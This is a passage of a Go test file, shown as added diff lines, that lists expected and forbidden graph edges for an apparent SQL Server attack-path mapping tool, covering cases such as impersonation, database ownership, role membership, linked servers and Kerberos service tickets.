TargetPattern: "S-1-5-21-*", Perspective: "both"}, + {EdgeType: "MSSQL_ExecuteAsOwner", Description: "TRUSTWORTHY database owned by login with IMPERSONATE ANY LOGIN", SourcePattern: "*\\EdgeTest_ExecuteAsOwner_OwnedByLoginWithImpersonateAnyLogin", TargetPattern: "S-1-5-21-*", Perspective: "both"}, + {EdgeType: "MSSQL_ExecuteAsOwner", Description: "TRUSTWORTHY database owned by login with role with IMPERSONATE ANY LOGIN", SourcePattern: "*\\EdgeTest_ExecuteAsOwner_OwnedByLoginWithRoleWithImpersonateAnyLogin", TargetPattern: "S-1-5-21-*", Perspective: "both"}, + + // ExecuteAsOwner negative + {EdgeType: "MSSQL_ExecuteAsOwner", Description: "TRUSTWORTHY database owned by login without high privileges", SourcePattern: "*\\EdgeTest_ExecuteAsOwner_OwnedByNoHighPrivileges", TargetPattern: "S-1-5-21-*", Negative: true, Reason: "Database owner does not have high privileges", Perspective: "both"}, + {EdgeType: "MSSQL_ExecuteAsOwner", Description: "Non-TRUSTWORTHY database owned by sysadmin", SourcePattern: "*\\EdgeTest_ExecuteAsOwner_NotTrustworthy", TargetPattern: "S-1-5-21-*", Negative: true, Reason: "Database is not TRUSTWORTHY", Perspective: "both"}, + + // IsTrustedBy companion edges + {EdgeType: "MSSQL_IsTrustedBy", Description: "TRUSTWORTHY database creates IsTrustedBy edge (sysadmin owner)", SourcePattern: "*\\EdgeTest_ExecuteAsOwner_OwnedByLoginWithSysadmin", TargetPattern: "S-1-5-21-*", Perspective: "both"}, + {EdgeType: "MSSQL_IsTrustedBy", Description: "TRUSTWORTHY database creates IsTrustedBy edge (securityadmin owner)", SourcePattern: "*\\EdgeTest_ExecuteAsOwner_OwnedByLoginWithSecurityadmin", TargetPattern: "S-1-5-21-*", Perspective: "both"}, + {EdgeType: "MSSQL_IsTrustedBy", Description: "TRUSTWORTHY database creates IsTrustedBy edge (no high privileges owner)", SourcePattern: "*\\EdgeTest_ExecuteAsOwner_OwnedByNoHighPrivileges", TargetPattern: "S-1-5-21-*", Perspective: "both"}, + {EdgeType: "MSSQL_IsTrustedBy", Description: "Non-TRUSTWORTHY database should not have IsTrustedBy edge", SourcePattern: "*\\EdgeTest_ExecuteAsOwner_NotTrustworthy", TargetPattern: "S-1-5-21-*", Negative: true, Reason: "Database is not TRUSTWORTHY", Perspective: "both"}, +} + +// --------------------------------------------------------------------------- +// MSSQL_ExecuteOnHost + MSSQL_HostFor +// --------------------------------------------------------------------------- + +var executeOnHostTestCases = []edgeTestCase{ + {EdgeType: "MSSQL_ExecuteOnHost", Description: "SQL Server has ExecuteOnHost edge to its host computer", SourcePattern: "S-1-5-21-*", TargetPattern: "S-1-5-21-*", Perspective: "both"}, + {EdgeType: "MSSQL_HostFor", Description: "Computer has HostFor edge to SQL Server", SourcePattern: "S-1-5-21-*", TargetPattern: "S-1-5-21-*", Perspective: "both"}, +} + +// --------------------------------------------------------------------------- +// MSSQL_GrantAnyDBPermission +// --------------------------------------------------------------------------- + +var grantAnyDBPermTestCases = []edgeTestCase{ + {EdgeType: "MSSQL_GrantAnyDBPermission", Description: "db_securityadmin role targets its database", SourcePattern: "db_securityadmin@*\\EdgeTest_GrantAnyDBPermission", TargetPattern: "*\\EdgeTest_GrantAnyDBPermission", Perspective: "both"}, + {EdgeType: "MSSQL_GrantAnyDBPermission", Description: "db_securityadmin role targets its database (second DB)", SourcePattern: "db_securityadmin@*\\EdgeTest_GrantAnyDBPermission_Second", TargetPattern: "*\\EdgeTest_GrantAnyDBPermission_Second", Perspective: "both"}, + {EdgeType: "MSSQL_GrantAnyDBPermission", Description: "User member of db_securityadmin does not create edge", SourcePattern: "GrantAnyDBPermissionTest_User_InDbSecurityAdmin@*", TargetPattern: "*\\EdgeTest_GrantAnyDBPermission", Negative: true, Reason: "Only the db_securityadmin role itself creates the edge, not its members", Perspective: "both"}, + {EdgeType: "MSSQL_GrantAnyDBPermission", Description: "Custom role with ALTER ANY ROLE does not create edge", SourcePattern: "GrantAnyDBPermissionTest_CustomRole_HasAlterAnyRole@*", TargetPattern: "*\\EdgeTest_GrantAnyDBPermission", Negative: true, Reason: "Only db_securityadmin fixed role creates this edge", Perspective: "both"}, + {EdgeType: "MSSQL_GrantAnyDBPermission", Description: "db_owner does not create GrantAnyDBPermission edge", SourcePattern: "db_owner@*\\EdgeTest_GrantAnyDBPermission", TargetPattern: "*\\EdgeTest_GrantAnyDBPermission", Negative: true, Reason: "db_owner uses MSSQL_ControlDB edge instead", Perspective: "both"}, + {EdgeType: "MSSQL_GrantAnyDBPermission", Description: "db_securityadmin cannot grant permissions in other databases", SourcePattern: "db_securityadmin@*\\EdgeTest_GrantAnyDBPermission", TargetPattern: "*\\EdgeTest_GrantAnyDBPermission_Second", Negative: true, Reason: "db_securityadmin only affects its own database", Perspective: "both"}, + {EdgeType: "MSSQL_GrantAnyDBPermission", Description: "Regular user does not create edge", SourcePattern: "GrantAnyDBPermissionTest_User_NotInDbSecurityAdmin@*", TargetPattern: "*\\EdgeTest_GrantAnyDBPermission", Negative: true, Reason: "User is not db_securityadmin", Perspective: "both"}, +} + +// --------------------------------------------------------------------------- +// MSSQL_GrantAnyPermission +// --------------------------------------------------------------------------- + +var grantAnyPermTestCases = []edgeTestCase{ + {EdgeType: "MSSQL_GrantAnyPermission", Description: "securityadmin role targets the server", SourcePattern: "securityadmin@*", TargetPattern: "S-1-5-21-*", Perspective: "both"}, + {EdgeType: "MSSQL_GrantAnyPermission", Description: "Login member of securityadmin does not create edge", SourcePattern: "GrantAnyPermissionTest_Login_InSecurityAdmin@*", TargetPattern: "S-1-5-21-*", Negative: true, Reason: "Only the securityadmin role itself creates the edge, not its members", Perspective: "both"}, + {EdgeType: "MSSQL_GrantAnyPermission", Description: "sysadmin does not create GrantAnyPermission edge", SourcePattern: "sysadmin@*", TargetPattern: "S-1-5-21-*", Negative: true, Reason: "sysadmin uses MSSQL_ControlServer edge instead", Perspective: "both"}, + {EdgeType: "MSSQL_GrantAnyPermission", Description: "Regular login does not create edge", SourcePattern: "GrantAnyPermissionTest_Login_NoSpecialPerms@*", TargetPattern: "S-1-5-21-*", Negative: true, Reason: "Login has no special permissions", Perspective: "both"}, + {EdgeType: "MSSQL_GrantAnyPermission", Description: "securityadmin cannot grant permissions at database level", SourcePattern: "securityadmin@*", TargetPattern: "*\\EdgeTest_GrantAnyPermission", Negative: true, Reason: "GrantAnyPermission is server-level only", Perspective: "both"}, + {EdgeType: "MSSQL_GrantAnyPermission", Description: "db_securityadmin does not create GrantAnyPermission edge", SourcePattern: "db_securityadmin@*\\EdgeTest_GrantAnyPermission", TargetPattern: "S-1-5-21-*", Negative: true, Reason: "db_securityadmin uses MSSQL_GrantAnyDBPermission edge at database level", Perspective: "both"}, +} + +// --------------------------------------------------------------------------- +// MSSQL_HasDBScopedCred +// --------------------------------------------------------------------------- + +var hasDBScopedCredTestCases = []edgeTestCase{ + {EdgeType: "MSSQL_HasDBScopedCred", Description: "Database has scoped credential for domain user", SourcePattern: "*\\EdgeTest_HasDBScopedCred", TargetPattern: "S-1-5-21-*", Perspective: "both"}, + {EdgeType: "MSSQL_HasDBScopedCred", Description: "Database without credentials does not create edge", SourcePattern: "*\\master", TargetPattern: "S-1-5-21-*", Negative: true, Reason: "master database has no database-scoped credentials", Perspective: "both"}, +} + +// --------------------------------------------------------------------------- +// MSSQL_HasLogin +// --------------------------------------------------------------------------- + +var hasLoginTestCases = []edgeTestCase{ + {EdgeType: "MSSQL_HasLogin", Description: "Domain user has SQL login", SourcePattern: "S-1-5-21*", TargetPattern: "*\\EdgeTestDomainUser1@*", Perspective: "both"}, + {EdgeType: "MSSQL_HasLogin", Description: "Second domain user has SQL login", SourcePattern: "S-1-5-21*", TargetPattern: "*\\EdgeTestDomainUser2@*", Perspective: "both"}, + {EdgeType: "MSSQL_HasLogin", Description: "Domain group has SQL login", SourcePattern: "S-1-5-21*", TargetPattern: "*\\EdgeTestDomainGroup@*", Perspective: "both"}, + {EdgeType: "MSSQL_HasLogin", Description: "Computer account has SQL login", SourcePattern: "S-1-5-21-*", TargetPattern: "*\\TestComputer$@*", Perspective: "both"}, + {EdgeType: "MSSQL_HasLogin", Description: "Local group has SQL login", SourcePattern: "*-S-1-5-32-555", TargetPattern: "BUILTIN\\Remote Desktop Users@*", Perspective: "both"}, + {EdgeType: "MSSQL_HasLogin", Description: "Disabled login does not create edge", SourcePattern: "S-1-5-21-*", TargetPattern: "*\\EdgeTestDisabledUser@*", Negative: true, Reason: "Login is disabled", Perspective: "both"}, + {EdgeType: "MSSQL_HasLogin", Description: "Login with CONNECT SQL denied does not create edge", SourcePattern: "S-1-5-21-*", TargetPattern: "*\\EdgeTestNoConnect@*", Negative: true, Reason: "CONNECT SQL permission is denied", Perspective: "both"}, + {EdgeType: "MSSQL_HasLogin", Description: "SQL login does not create HasLogin edge", SourcePattern: "*", TargetPattern: "HasLoginTest_SQLLogin@*", Negative: true, Reason: "SQL logins don't create HasLogin edges (only Windows logins)", Perspective: "both"}, + {EdgeType: "MSSQL_HasLogin", Description: "Non-existent domain account has no edge", SourcePattern: "S-1-5-21-*", TargetPattern: "*\\NonExistentUser@*", Negative: true, Reason: "No login exists for this account", Perspective: "both"}, +} + +// --------------------------------------------------------------------------- +// MSSQL_HasMappedCred +// --------------------------------------------------------------------------- + +var hasMappedCredTestCases = []edgeTestCase{ + {EdgeType: "MSSQL_HasMappedCred", Description: "SQL login has mapped credential for domain user 1", SourcePattern: "HasMappedCredTest_SQLLogin_MappedToDomainUser1@*", TargetPattern: "S-1-5-21-*", Perspective: "both"}, + {EdgeType: "MSSQL_HasMappedCred", Description: "SQL login has mapped credential for domain user 2", SourcePattern: "HasMappedCredTest_SQLLogin_MappedToDomainUser2@*", TargetPattern: "S-1-5-21-*", Perspective: "both"}, + {EdgeType: "MSSQL_HasMappedCred", Description: "SQL login has mapped credential for computer account", SourcePattern: "HasMappedCredTest_SQLLogin_MappedToComputerAccount@*", TargetPattern: "S-1-5-21-*", Perspective: "both"}, + {EdgeType: "MSSQL_HasMappedCred", Description: "Windows login has mapped credential for different user", SourcePattern: "*\\EdgeTestDomainUser1@*", TargetPattern: "S-1-5-21-*", Perspective: "both"}, + {EdgeType: "MSSQL_HasMappedCred", Description: "SQL login without mapped credential has no edge", SourcePattern: "HasMappedCredTest_SQLLogin_NoCredential@*", TargetPattern: "S-1-5-21-*", Negative: true, Reason: "Login has no mapped credential", Perspective: "both"}, +} + +// --------------------------------------------------------------------------- +// MSSQL_HasProxyCred +// --------------------------------------------------------------------------- + +var hasProxyCredTestCases = []edgeTestCase{ + {EdgeType: "MSSQL_HasProxyCred", Description: "SQL login authorized to use ETL proxy for domain user 1", SourcePattern: "HasProxyCredTest_ETLOperator@*", TargetPattern: "S-1-5-21-*", Perspective: "both"}, + {EdgeType: "MSSQL_HasProxyCred", Description: "Server role authorized to use ETL proxy for domain user 1", SourcePattern: "HasProxyCredTest_ProxyUsers@*", TargetPattern: "S-1-5-21-*", Perspective: "both"}, + {EdgeType: "MSSQL_HasProxyCred", Description: "SQL login authorized to use backup proxy for domain user 2", SourcePattern: "HasProxyCredTest_BackupOperator@*", TargetPattern: "S-1-5-21-*", Perspective: "both"}, + {EdgeType: "MSSQL_HasProxyCred", Description: "Windows login authorized to use backup proxy", SourcePattern: "*\\EdgeTestDomainUser1@*", TargetPattern: "S-1-5-21-*", Perspective: "both"}, + {EdgeType: "MSSQL_HasProxyCred", Description: "SQL login authorized to disabled proxy still creates edge", SourcePattern: "HasProxyCredTest_ETLOperator@*", TargetPattern: "S-1-5-21-*", Perspective: "both"}, + {EdgeType: "MSSQL_HasProxyCred", Description: "Login without proxy access has no edge", SourcePattern: "HasProxyCredTest_NoProxyAccess@*", TargetPattern: "S-1-5-21-*", Negative: true, Reason: "Login is not authorized to use any proxy", Perspective: "both"}, + {EdgeType: "MSSQL_HasProxyCred", Description: "Proxy with local credential does not create edge", SourcePattern: "*", TargetPattern: "*LocalService*", Negative: true, Reason: "Only domain credentials create HasProxyCred edges", Perspective: "both"}, + {EdgeType: "MSSQL_HasProxyCred", Description: "Database users cannot have proxy access", SourcePattern: "*@*\\*", TargetPattern: "S-1-5-21-*", Negative: true, Reason: "Only server-level principals can use SQL Agent proxies", Perspective: "both"}, +} + +// --------------------------------------------------------------------------- +// MSSQL_Impersonate +// --------------------------------------------------------------------------- + +var impersonateTestCases = []edgeTestCase{ + {EdgeType: "MSSQL_Impersonate", Description: "Login with IMPERSONATE on login can impersonate", SourcePattern: "ImpersonateTest_Login_CanImpersonateLogin@*", TargetPattern: "ImpersonateTest_Login_TargetOf_Login_CanImpersonateLogin@*", Perspective: "offensive"}, + {EdgeType: "MSSQL_Impersonate", Description: "ServerRole with IMPERSONATE on login can impersonate", SourcePattern: "ImpersonateTest_ServerRole_CanImpersonateLogin@*", TargetPattern: "ImpersonateTest_Login_TargetOf_ServerRole_CanImpersonateLogin@*", Perspective: "offensive"}, + {EdgeType: "MSSQL_Impersonate", Description: "DatabaseUser with IMPERSONATE on user can impersonate", SourcePattern: "ImpersonateTest_User_CanImpersonateDbUser@*\\EdgeTest_Impersonate", TargetPattern: "ImpersonateTest_User_TargetOf_User_CanImpersonateDbUser@*\\EdgeTest_Impersonate", Perspective: "offensive"}, + {EdgeType: "MSSQL_Impersonate", Description: "DatabaseRole with IMPERSONATE on user can impersonate", SourcePattern: "ImpersonateTest_DbRole_CanImpersonateDbUser@*\\EdgeTest_Impersonate", TargetPattern: "ImpersonateTest_User_TargetOf_DbRole_CanImpersonateDbUser@*\\EdgeTest_Impersonate", Perspective: "offensive"}, + {EdgeType: "MSSQL_Impersonate", Description: "ApplicationRole with IMPERSONATE on user can impersonate", SourcePattern: "ImpersonateTest_AppRole_CanImpersonateDbUser@*\\EdgeTest_Impersonate", TargetPattern: "ImpersonateTest_User_TargetOf_AppRole_CanImpersonateDbUser@*\\EdgeTest_Impersonate", Perspective: "offensive"}, +} + +// --------------------------------------------------------------------------- +// MSSQL_ImpersonateAnyLogin +// --------------------------------------------------------------------------- + +var impersonateAnyLoginTestCases = []edgeTestCase{ + {EdgeType: "MSSQL_ImpersonateAnyLogin", Description: "SQL login with IMPERSONATE ANY LOGIN targets server", SourcePattern: "ImpersonateAnyLoginTest_Login_Direct@*", TargetPattern: "S-1-5-21-*", Perspective: "both"}, + {EdgeType: "MSSQL_ImpersonateAnyLogin", Description: "Server role with IMPERSONATE ANY LOGIN targets server", SourcePattern: "ImpersonateAnyLoginTest_Role_HasPermission@*", TargetPattern: "S-1-5-21-*", Perspective: "both"}, + {EdgeType: "MSSQL_ImpersonateAnyLogin", Description: "Windows login with IMPERSONATE ANY LOGIN targets server", SourcePattern: "*\\EdgeTestDomainUser1@*", TargetPattern: "S-1-5-21-*", Perspective: "both"}, + {EdgeType: "MSSQL_ImpersonateAnyLogin", Description: "Login without IMPERSONATE ANY LOGIN has no edge", SourcePattern: "ImpersonateAnyLoginTest_Login_NoPermission@*", TargetPattern: "S-1-5-21-*", Negative: true, Reason: "Login does not have IMPERSONATE ANY LOGIN permission", Perspective: "both"}, + {EdgeType: "MSSQL_ImpersonateAnyLogin", Description: "Login member of role does not have direct edge", SourcePattern: "ImpersonateAnyLoginTest_Login_ViaRole@*", TargetPattern: "S-1-5-21-*", Negative: true, Reason: "Only the role with the permission has the edge, not its members", Perspective: "both"}, + {EdgeType: "MSSQL_ImpersonateAnyLogin", Description: "sysadmin does not create ImpersonateAnyLogin edge", SourcePattern: "sysadmin@*", TargetPattern: "S-1-5-21-*", Negative: true, Reason: "sysadmin uses ControlServer edge instead", Perspective: "both"}, + {EdgeType: "MSSQL_ImpersonateAnyLogin", Description: "Database users cannot have IMPERSONATE ANY LOGIN", SourcePattern: "*@*\\*", TargetPattern: "S-1-5-21-*", Negative: true, Reason: "IMPERSONATE ANY LOGIN is a server-level permission", Perspective: "both"}, +} + +// --------------------------------------------------------------------------- +// MSSQL_IsMappedTo +// --------------------------------------------------------------------------- + +var isMappedToTestCases = []edgeTestCase{ + {EdgeType: "MSSQL_IsMappedTo", Description: "SQL login mapped to database user in primary database", SourcePattern: "IsMappedToTest_SQLLogin_WithDBUser@*", TargetPattern: "IsMappedToTest_SQLLogin_WithDBUser@*\\EdgeTest_IsMappedTo_Primary", Perspective: "both"}, + {EdgeType: "MSSQL_IsMappedTo", Description: "Windows login mapped to database user in primary database", SourcePattern: "*\\EdgeTestDomainUser1@*", TargetPattern: "*\\EdgeTestDomainUser1@*\\EdgeTest_IsMappedTo_Primary", Perspective: "both"}, + {EdgeType: "MSSQL_IsMappedTo", Description: "SQL login mapped to differently named user in secondary database", SourcePattern: "IsMappedToTest_SQLLogin_WithDBUser@*", TargetPattern: "IsMappedToTest_DifferentUserName@*\\EdgeTest_IsMappedTo_Secondary", Perspective: "both"}, + {EdgeType: "MSSQL_IsMappedTo", Description: "Windows login 2 mapped to database user in secondary database", SourcePattern: "*\\EdgeTestDomainUser2@*", TargetPattern: "*\\EdgeTestDomainUser2@*\\EdgeTest_IsMappedTo_Secondary", Perspective: "both"}, + {EdgeType: "MSSQL_IsMappedTo", Description: "Login without database user has no mapping", SourcePattern: "IsMappedToTest_SQLLogin_NoDBUser@*", TargetPattern: "*", Negative: true, Reason: "Login has no corresponding database user", Perspective: "both"}, + {EdgeType: "MSSQL_IsMappedTo", Description: "Orphaned database user has no login mapping", SourcePattern: "*", TargetPattern: "IsMappedToTest_OrphanedUser@*\\EdgeTest_IsMappedTo_Primary", Negative: true, Reason: "Database user was created WITHOUT LOGIN", Perspective: "both"}, + {EdgeType: "MSSQL_IsMappedTo", Description: "Login is not mapped to users in databases where it doesn't exist", SourcePattern: "*\\EdgeTestDomainUser1@*", TargetPattern: "*\\EdgeTest_IsMappedTo_Secondary", Negative: true, Reason: "Windows login 1 has no user in secondary database", Perspective: "both"}, + {EdgeType: "MSSQL_IsMappedTo", Description: "Server roles cannot be mapped to database users", SourcePattern: "sysadmin@*", TargetPattern: "*", Negative: true, Reason: "Only logins can be mapped to database users", Perspective: "both"}, +} + +// --------------------------------------------------------------------------- +// MSSQL_GetTGS +// --------------------------------------------------------------------------- + +var getTGSTestCases = []edgeTestCase{ + {EdgeType: "MSSQL_GetTGS", Description: "Service account can get TGS for domain user with SQL login", SourcePattern: "*", TargetPattern: "*\\EdgeTestDomainUser1@*", Perspective: "both"}, + {EdgeType: "MSSQL_GetTGS", Description: "Service account can get TGS for second domain user", SourcePattern: "*", TargetPattern: "*\\EdgeTestDomainUser2@*", Perspective: "both"}, + {EdgeType: "MSSQL_GetTGS", Description: "Service account can get TGS for domain group with SQL login", SourcePattern: "*", TargetPattern: "*\\EdgeTestDomainGroup@*", Perspective: "both"}, + {EdgeType: "MSSQL_GetTGS", Description: "Service account can get TGS for domain user with sysadmin", SourcePattern: "*", TargetPattern: "*\\EdgeTestSysadmin@*", Perspective: "both"}, +} + +// --------------------------------------------------------------------------- +// MSSQL_GetAdminTGS +// --------------------------------------------------------------------------- + +var getAdminTGSTestCases = []edgeTestCase{ + {EdgeType: "MSSQL_GetAdminTGS", Description: "Service account can get admin TGS (domain principal has sysadmin)", SourcePattern: "*", TargetPattern: "S-1-5-21-*", Perspective: "both"}, +} + +// --------------------------------------------------------------------------- +// MSSQL_LinkedAsAdmin +// --------------------------------------------------------------------------- + +var linkedAsAdminTestCases = []edgeTestCase{ + {EdgeType: "MSSQL_LinkedAsAdmin", Description: "Admin SQL login linked servers create LinkedAsAdmin edges (including nested roles)", SourcePattern: "S-1-5-21-*", TargetPattern: "S-1-5-21-*", Perspective: "both", ExpectedCount: 8}, +} + +// --------------------------------------------------------------------------- +// MSSQL_LinkedTo +// --------------------------------------------------------------------------- + +var linkedToTestCases = []edgeTestCase{ + {EdgeType: "MSSQL_LinkedTo", Description: "All 10 loopback linked servers create LinkedTo edges", SourcePattern: "S-1-5-21-*", TargetPattern: "S-1-5-21-*", ExpectedCount: 11, Perspective: "both"}, +} + +// --------------------------------------------------------------------------- +// MSSQL_MemberOf +// --------------------------------------------------------------------------- + +var memberOfTestCases = []edgeTestCase{ + // SERVER LEVEL: Login -> ServerRole + {EdgeType: "MSSQL_MemberOf", Description: "SQL login member of processadmin", SourcePattern: "MemberOfTest_Login1@*", TargetPattern: "processadmin@*", Perspective: "both"}, + {EdgeType: "MSSQL_MemberOf", Description: "SQL login member of custom server role", SourcePattern: "MemberOfTest_Login2@*", TargetPattern: "MemberOfTest_ServerRole1@*", Perspective: "both"}, + {EdgeType: "MSSQL_MemberOf", Description: "Windows login member of diskadmin", SourcePattern: "*\\EdgeTestDomainUser1@*", TargetPattern: "diskadmin@*", Perspective: "both"}, + + // SERVER LEVEL: ServerRole -> ServerRole + {EdgeType: "MSSQL_MemberOf", Description: "Server role member of another server role", SourcePattern: "MemberOfTest_ServerRole1@*", TargetPattern: "MemberOfTest_ServerRole2@*", Perspective: "both"}, + {EdgeType: "MSSQL_MemberOf", Description: "Custom server role member of securityadmin", SourcePattern: "MemberOfTest_ServerRole2@*", TargetPattern: "securityadmin@*", Perspective: "both"}, + + // DATABASE LEVEL: DatabaseUser -> DatabaseRole + {EdgeType: "MSSQL_MemberOf", Description: "Database user member of db_datareader", SourcePattern: "MemberOfTest_User1@*\\EdgeTest_MemberOf", TargetPattern: "db_datareader@*\\EdgeTest_MemberOf", Perspective: "both"}, + {EdgeType: "MSSQL_MemberOf", Description: "Database user member of custom database role", SourcePattern: "MemberOfTest_User2@*\\EdgeTest_MemberOf", TargetPattern: "MemberOfTest_DbRole1@*\\EdgeTest_MemberOf", Perspective: "both"}, + {EdgeType: "MSSQL_MemberOf", Description: "Windows database user member of db_datawriter", SourcePattern: "*\\EdgeTestDomainUser1@*\\EdgeTest_MemberOf", TargetPattern: "db_datawriter@*\\EdgeTest_MemberOf", Perspective: "both"}, + {EdgeType: "MSSQL_MemberOf", Description: "Database user without login member of role", SourcePattern: "MemberOfTest_UserNoLogin@*\\EdgeTest_MemberOf", TargetPattern: "MemberOfTest_DbRole1@*\\EdgeTest_MemberOf", Perspective: "both"}, + + // DATABASE LEVEL: DatabaseRole -> DatabaseRole + {EdgeType: "MSSQL_MemberOf", Description: "Database role member of another database role", SourcePattern: "MemberOfTest_DbRole1@*\\EdgeTest_MemberOf", TargetPattern: "MemberOfTest_DbRole2@*\\EdgeTest_MemberOf", Perspective: "both"}, + {EdgeType: "MSSQL_MemberOf", Description: "Custom database role member of db_owner", SourcePattern: "MemberOfTest_DbRole2@*\\EdgeTest_MemberOf", TargetPattern: "db_owner@*\\EdgeTest_MemberOf", Perspective: "both"}, + + // DATABASE LEVEL: ApplicationRole -> DatabaseRole + {EdgeType: "MSSQL_MemberOf", Description: "Application role member of database role", SourcePattern: "MemberOfTest_AppRole@*\\EdgeTest_MemberOf", TargetPattern: "MemberOfTest_DbRole1@*\\EdgeTest_MemberOf", Perspective: "both"}, + + // NEGATIVE + {EdgeType: "MSSQL_MemberOf", Description: "Server roles cannot be added to sysadmin", SourcePattern: "MemberOfTest_ServerRole*@*", TargetPattern: "sysadmin@*", Negative: true, Reason: "Server roles cannot be added as members of sysadmin", Perspective: "both"}, + {EdgeType: "MSSQL_MemberOf", Description: "No cross-database role memberships", SourcePattern: "*@*\\EdgeTest_MemberOf", TargetPattern: "*@*\\master", Negative: true, Reason: "Role memberships don't cross database boundaries", Perspective: "both"}, + {EdgeType: "MSSQL_MemberOf", Description: "Server login not directly member of database role", SourcePattern: "MemberOfTest_Login1@*", TargetPattern: "*@*\\EdgeTest_MemberOf", Negative: true, Reason: "Server principals must be mapped to database users first", Perspective: "both"}, +} + +// --------------------------------------------------------------------------- +// MSSQL_Owns +// --------------------------------------------------------------------------- + +var ownsTestCases = []edgeTestCase{ + // SERVER LEVEL + {EdgeType: "MSSQL_Owns", Description: "Login owns database", SourcePattern: "OwnsTest_Login_DbOwner@*", TargetPattern: "*\\EdgeTest_Owns_OwnedByLogin", Perspective: "both"}, + {EdgeType: "MSSQL_Owns", Description: "Login owns server role", SourcePattern: "OwnsTest_Login_RoleOwner@*", TargetPattern: "OwnsTest_ServerRole_Owned@*", Perspective: "both"}, + {EdgeType: "MSSQL_Owns", Description: "Server role owns another server role", SourcePattern: "OwnsTest_ServerRole_Owner@*", TargetPattern: "OwnsTest_ServerRole_OwnedByRole@*", Perspective: "both"}, + + // DATABASE LEVEL + {EdgeType: "MSSQL_Owns", Description: "Database user owns database role", SourcePattern: "OwnsTest_User_RoleOwner@*\\EdgeTest_Owns_RoleTests", TargetPattern: "OwnsTest_DbRole_Owned@*\\EdgeTest_Owns_RoleTests", Perspective: "both"}, + {EdgeType: "MSSQL_Owns", Description: "Database role owns another database role", SourcePattern: "OwnsTest_DbRole_Owner@*\\EdgeTest_Owns_RoleTests", TargetPattern: "OwnsTest_DbRole_OwnedByRole@*\\EdgeTest_Owns_RoleTests", Perspective: "both"}, + {EdgeType: "MSSQL_Owns", Description: "Application role owns database role", SourcePattern: "OwnsTest_AppRole_Owner@*\\EdgeTest_Owns_RoleTests", TargetPattern: "OwnsTest_DbRole_OwnedByAppRole@*\\EdgeTest_Owns_RoleTests", Perspective: "both"}, + + // NEGATIVE + {EdgeType: "MSSQL_Owns", Description: "Login without ownership has no Owns edges", SourcePattern: "OwnsTest_Login_NoOwnership@*", TargetPattern: "*", Negative: true, Reason: "Login doesn't own any objects", Perspective: "both"}, + {EdgeType: "MSSQL_Owns", Description: "Database user without ownership has no Owns edges", SourcePattern: "OwnsTest_User_NoOwnership@*", TargetPattern: "*", Negative: true, Reason: "User doesn't own any objects", Perspective: "both"}, + {EdgeType: "MSSQL_Owns", Description: "No cross-database ownership edges", SourcePattern: "*@*\\EdgeTest_Owns_RoleTests", TargetPattern: "*@*\\EdgeTest_Owns_OwnedByLogin", Negative: true, Reason: "Ownership doesn't cross database boundaries", Perspective: "both"}, +} + +// --------------------------------------------------------------------------- +// MSSQL_ServiceAccountFor + HasSession +// --------------------------------------------------------------------------- + +var serviceAccountForTestCases = []edgeTestCase{ + {EdgeType: "MSSQL_ServiceAccountFor", Description: "Service account for SQL Server instance", SourcePattern: "S-1-5-21-*", TargetPattern: "S-1-5-21-*", ExpectedCount: 1, Perspective: "both"}, + {EdgeType: "HasSession", Description: "Computer has session for domain service account", SourcePattern: "S-1-5-21-*", TargetPattern: "S-1-5-21-*", Perspective: "both"}, +} + +// --------------------------------------------------------------------------- +// MSSQL_TakeOwnership +// --------------------------------------------------------------------------- + +var takeOwnershipTestCases = []edgeTestCase{ + // POSITIVE (non-traversable) + {EdgeType: "MSSQL_TakeOwnership", Description: "Login can take ownership of server role", SourcePattern: "TakeOwnershipTest_Login_CanTakeServerRole@*", TargetPattern: "TakeOwnershipTest_ServerRole_Target@*", Perspective: "offensive", EdgeProperties: map[string]interface{}{"traversable": false}}, + {EdgeType: "MSSQL_TakeOwnership", Description: "Server role can take ownership of another server role", SourcePattern: "TakeOwnershipTest_ServerRole_Source@*", TargetPattern: "TakeOwnershipTest_ServerRole_Target@*", Perspective: "offensive", EdgeProperties: map[string]interface{}{"traversable": false}}, + {EdgeType: "MSSQL_TakeOwnership", Description: "Database user can take ownership of database", SourcePattern: "TakeOwnershipTest_User_CanTakeDb@*\\EdgeTest_TakeOwnership", TargetPattern: "*\\EdgeTest_TakeOwnership", Perspective: "offensive", EdgeProperties: map[string]interface{}{"traversable": false}}, + {EdgeType: "MSSQL_TakeOwnership", Description: "Database role can take ownership of database", SourcePattern: "TakeOwnershipTest_DbRole_CanTakeDb@*\\EdgeTest_TakeOwnership", TargetPattern: "*\\EdgeTest_TakeOwnership", Perspective: "offensive", EdgeProperties: map[string]interface{}{"traversable": false}}, + {EdgeType: "MSSQL_TakeOwnership", Description: "Application role can take ownership of database", SourcePattern: "TakeOwnershipTest_AppRole_CanTakeDb@*\\EdgeTest_TakeOwnership", TargetPattern: "*\\EdgeTest_TakeOwnership", Perspective: "offensive", EdgeProperties: map[string]interface{}{"traversable": false}}, + {EdgeType: "MSSQL_TakeOwnership", Description: "Database user can take ownership of database role", SourcePattern: "TakeOwnershipTest_User_CanTakeRole@*\\EdgeTest_TakeOwnership", TargetPattern: "TakeOwnershipTest_DbRole_Target@*\\EdgeTest_TakeOwnership", Perspective: "offensive", EdgeProperties: map[string]interface{}{"traversable": false}}, + {EdgeType: "MSSQL_TakeOwnership", Description: "Database role can take ownership of another database role", SourcePattern: "TakeOwnershipTest_DbRole_Source@*\\EdgeTest_TakeOwnership", TargetPattern: "TakeOwnershipTest_DbRole_Target@*\\EdgeTest_TakeOwnership", Perspective: "offensive", EdgeProperties: map[string]interface{}{"traversable": false}}, + {EdgeType: "MSSQL_TakeOwnership", Description: "Application role can take ownership of database role", SourcePattern: "TakeOwnershipTest_AppRole_CanTakeRole@*\\EdgeTest_TakeOwnership", TargetPattern: "TakeOwnershipTest_DbRole_Target@*\\EdgeTest_TakeOwnership", Perspective: "offensive", EdgeProperties: map[string]interface{}{"traversable": false}}, + + // NEGATIVE + {EdgeType: "MSSQL_TakeOwnership", Description: "Cannot take ownership of fixed server roles", SourcePattern: "*", TargetPattern: "sysadmin@*", Negative: true, Reason: "Fixed server roles cannot have ownership changed", Perspective: "both"}, + {EdgeType: "MSSQL_TakeOwnership", Description: "Cannot take ownership of fixed database roles", SourcePattern: "*", TargetPattern: "db_owner@*\\*", Negative: true, Reason: "Fixed database roles cannot have ownership changed", Perspective: "both"}, + {EdgeType: "MSSQL_TakeOwnership", Description: "Login without TAKE OWNERSHIP permission has no edge", SourcePattern: "TakeOwnershipTest_Login_NoPermission@*", TargetPattern: "*", Negative: true, Reason: "No TAKE OWNERSHIP permission granted", Perspective: "both"}, + {EdgeType: 